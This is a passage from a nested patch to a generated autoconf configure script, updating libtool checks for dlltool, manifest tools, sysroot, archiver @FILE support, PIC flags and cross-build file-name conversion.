-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -5070,6 +5150,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -5238,7 +5323,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -5392,6 +5478,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -5405,11 +5506,165 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -5425,7 +5680,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -5445,11 +5700,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -5465,7 +5724,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -5484,6 +5743,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -5495,16 +5758,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -5846,8 +6165,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -5883,6 +6202,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -5924,6 +6244,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -5935,7 +6267,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -5961,8 +6293,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -5972,8 +6304,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -6010,6 +6342,19 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -6027,6 +6372,41 @@ fi
-
-
-
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -6241,6 +6621,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -6807,6 +7304,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7269,7 +7768,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7358,7 +7858,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -7656,8 +8156,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -7823,6 +8321,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -7885,7 +8389,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -7942,13 +8446,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8009,6 +8517,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -8359,7 +8872,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -8458,12 +8972,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -8477,8 +8991,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
